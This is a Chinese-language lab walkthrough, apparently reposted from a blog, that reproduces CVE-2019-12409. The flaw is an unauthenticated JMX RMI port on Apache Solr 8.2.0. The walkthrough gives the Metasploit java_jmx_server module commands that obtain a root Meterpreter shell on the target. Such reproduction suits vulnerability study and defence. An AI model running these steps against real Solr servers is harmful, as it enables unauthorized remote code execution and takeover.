CVE-2019-12409 Apache Solr RCE 漏洞復現利用


環境

靶機:ubuntu18.04

被攻擊環境:Solr 8.2.0

攻擊機:Kali Linux

攻擊軟件:metasploit framework

背景介紹

Apache Solr 是一個開源的搜索服務器,使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。

漏洞成因

默認的配置文件solr.in.sh的選項ENABLE_REMOTE_JMX_OPTS字段值被設置為”true”,這會啟用JMX監視服務並會在公網中監聽一個18983的RMI端口,沒有任何認證,也就是說在無需身份驗證情況下,攻擊者結合使用JMX RMI就會造成遠程代碼攻擊。

在開放的端口上,利用 javax.management.loading.MLetgetMBeansFromURL 方法來加載一個遠端惡意的 MBean,就可以造成遠程代碼執行了。 遠端的惡意MBean來自於metasploit提供的exploit/multi/misc/java_jmx_server,具體的payload攻擊載荷是meterpreter。

復現與利用過程

安裝環境

影響版本是Apache Solr的8.1.1和8.2.0,目前官網這兩個版本已經不直接提供了。8.2.0的下載地址是:http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip, 其他版本也可以通過修改URL的辦法來查詢。

下載:

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

啟動一個solr的樣例服務(需要root權限):

unzip solr-8.2.0.zip
cd solr-8.2.0/bin
./solr -e dih -force

solr樣例啟動

solr樣例啟動效果

metasploit直接使用kali里的。

漏洞利用

在kali上使用 msfconsole命令進入,執行以下命令。

use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.108.156
set RPORT 18983
run

接下來等待進入meterpreter的shell,就說明已經成功登陸並滲透了。

效果圖

通過getuid命令我們可以看到當前獲取到的是root權限。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM